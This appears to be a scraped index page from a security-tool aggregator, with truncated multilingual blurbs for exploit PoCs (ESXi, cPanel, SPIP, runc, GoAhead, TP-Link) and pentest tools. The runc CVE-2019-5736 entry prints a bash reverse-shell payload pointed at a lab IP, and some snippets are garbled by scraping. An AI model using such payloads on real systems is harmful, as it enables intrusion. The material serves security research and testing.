CVE-2024-37085

CVE-2024-37085 Неаутентифицированная загрузка оболочки до полного администратора на ESXi-гипервизорах, присоединенных к домену. Скачать ESXIVORTEX Детали: Обход аутентификации, который приводит к загрузке оболочки в контексте vpxuser, что дает полные административные права на ESXI-гипервизорах,...

CVE-2018-7273

include include include include include include include include include include static int driveselectorint head return head 2; void fdrecalibrateint fd struct floppyrawcmd rawcmd; int tmp; root@kitploit: rawcmd.flags = FDRAWINTR; rawcmd.cmdcount = 2; // set up the command...

syncord

Syncord root@kitploit: $$\ $$ | $$$$$$$\ $$\ $$\ $$$$$$$\ $$$$$$$\ $$$$$$\ $$$$$$\ $$$$$$$ | $$ |$$ | $$ |$$ $$\ $$ |$$ $$\ $$ $$\ $$ $$ | $$$$$$\ $$ | $$ |$$ | $$ |$$ / $$ / $$ |$$ | |$$ / $$ | $$\ $$ | $$ |$$ | $$ |$$ | $$ | $$ |$$ | $$ | $$ | $$$$$$$ |$$$$$$$ |$$ | $$ |$$$$$$$\ $$$$$$ |$$...

BARK

BARK BARK stands for BloodHound Attack Research Kit. It is a PowerShell script built to assist the BloodHound Enterprise team with researching and continuously validating abuse primitives. BARK currently focuses on Microsoft's Azure suite of products and services. BARK requires no third party...

BurpParamFlagger

BurpParamFlagger A Burp extension adding a passive scan check to flag parameters whose name or value may indicate a possible insertion point for SSRF or LFI. Note: I believe that Burp Pro is required to use this extension, since it adds onto the scanner functionality, which isn't included in the...

pretender

pretender Your MitM sidekick for relaying attacks featuring DHCPv6 DNS takeover as well as mDNS, LLMNR and NetBIOS-NS spoofing pretender is a tool developed by RedTeam Pentesting to obtain machine-in-the-middle positions via spoofed local name resolution and DHCPv6 DNS takeover attacks. pretender...

iron-proxy

iron-proxy The problem CI 작업, AI 코딩 에이전트 및 샌드박스 컨테이너는 임의의 아웃바운드 요청을 만들 수 있습니다. 손상된 의존성, 프롬프트 인젝션 또는 악성 빌드 단계는 비밀을 유출하고, 외부로 통신phone home하거나, 리버스 셸을 열 수 있습니다. 대부분의 팀은 워크로드에서 나가는 트래픽을 전혀 볼 수 없으며, 이를 막을 방법은 더더욱 없습니다. What iron-proxy does iron-proxy는 신뢰할 수 없는 워크로드와 인터넷 사이에 위치하는 MITM 이그레스 프록시이며, 내장 DN...

CVE-2026-0834

CVE-2026-0834 PoC Обход аутентификации в протоколе отладки устройств TP-Link TDDP CVE-2026-0834 Обзор Уязвимость в сервисе TDDP TP-Link Device Debug Protocol позволяет неаутентифицированным удалённым злоумышленникам в локальной сети выполнять административные команды. При обработке пакетов TDDPv2...

cve-2026-41940-PoC

CVE-2026-41940 ⚠ Этот инструмент создан исключительно в образовательных целях или для программ bug bounty. Несанкционированное использование вне контролируемых сред строго запрещено. Описание Инструмент для эксплуатации CVE-2026-41940 — критического обхода аутентификации в cPanel & WHM CVSS 10.0,...

termshark

Termshark Une interface utilisateur en terminal pour tshark, inspirée de Wireshark. V2.4 est disponible avec la recherche de paquets et des profils pour les couleurs et colonnes ! Voir leChangeLog. Si vous déboguez sur une machine distante avec un gros pcap et sans vouloir le copier via scp vers...

SASTRA-ADI-WIGUNA-CVE-2026-21858-Holistic-Audit

= doi.org/10.5281/zenodo.18278825 = orcid.org/0009-0007-7728-256X RECONSTRUCTIONANALYSIS CVE-2026-21858: Ni8mare — Полная цепочка эксплуатации RCE в n8n 1. Резюме и обзор В данном документе представлен детерминированный технический реконструкционный анализ уязвимости CVE-2026-21858, внутреннее...

CVE-2024-7954

CVE-2024-7954 - SPIP 4.2.8 원격 명령 실행 RCE 익스플로잇 이 스크립트는 porteplumeprevisu 엔드포인트를 통해 SPIP 4.2.8 버전의 원격 코드 실행 취약점을 악용합니다. 이 취약점으로 인해 인증되지 않은 공격자가 조작된 이미지 태그의 미리보기 렌더링을 통해 PHP 코드를 주입할 수 있습니다. CVE ID: CVE-2024-7954 구성 요소: SPIP CMS porteplumeprevisu 영향: 인증되지 않은 원격 명령 실행 심각도: 치명적Critical 익스플로잇 기능 임의의 시스템...

reconkg

reconkg A vulnerability triage tool. It takes what a scan already found, works out which CVEs plausibly apply, tells you how confident it is and why, and gives you the commands to check for yourself. It does not scan anything, and it does not exploit anything. Install on Kali root@kitploit: git...

Graffiti

NOTE : Never upload payloads to online checkers Graffiti is a tool to generate obfuscated oneliners to aid in penetration testing situations. Graffiti accepts the following languages for encoding: Python Perl Batch Powershell PHP Bash Graffiti will also accept a language that is not currently on...

ssh-auditor

SSH Auditor Features ssh-auditor will automatically: Re-check all known hosts as new credentials are added. It will only check the new credentials. Queue a full credential scan on any new host discovered. Queue a full credential scan on any known host whose ssh version or key fingerprint changes...

CVE-2019-5736

🖥️ -h3x0v3rl0rd- ️⃣ CVE-2019-5736 Использование : машина уязвима к CVE-2019-5736, следуйте шагам эксплойта Runc CVE-2019-5736. Загрузите файл main.go, измените полезную нагрузку в файле на: root@kitploit: var payload = "!/bin/bash \n bash -i & /dev/tcp/10.10.14.12/1234 0&1" После этого выполните:...

TrustTunnel

Clients · App store · Play store Table of Contents Introduction Server Features Client Features Quick start Endpoint setup Install the endpoint Updating the endpoint Endpoint configuration wizard Let's Encrypt certificate lifecycle Running endpoint Export client configuration Client setup Install...

keimpx

Introduction keimpx is an open source tool, released under the Apache License 2.0. It can be used to quickly check for valid credentials across a network over SMB. Credentials can be: Combination of user / plain-text password. Combination of user / NTLM hash. Combination of user / NTLM logon...

ghostlock-a17

GhostLock — CVE-2026-43499 on Samsung Galaxy A17 Full user-to-root exploit chain for CVE-2026-43499 "GhostLock" on the Samsung Galaxy A17 SM-A175F , running Android 16 / GKI 6.12. The chain starts from the public GhostLock primitives and ends with a usermode helper executing as: root@kitploit:...

CVE-2017-17562

CVE-2017-17562 RCE GoAhead веб-сервер 2.5 3.6.5 Автономный эксплойт обратной оболочки на Python 3 для CVE-2017-17562, работает на версиях веб-сервера GoAhead 2.5 3.6.5. Блог статья здесь. Написан и протестирован на Python 3.7 на основе POC и уязвимой среды здесь. Часть кода заимствована из модуля...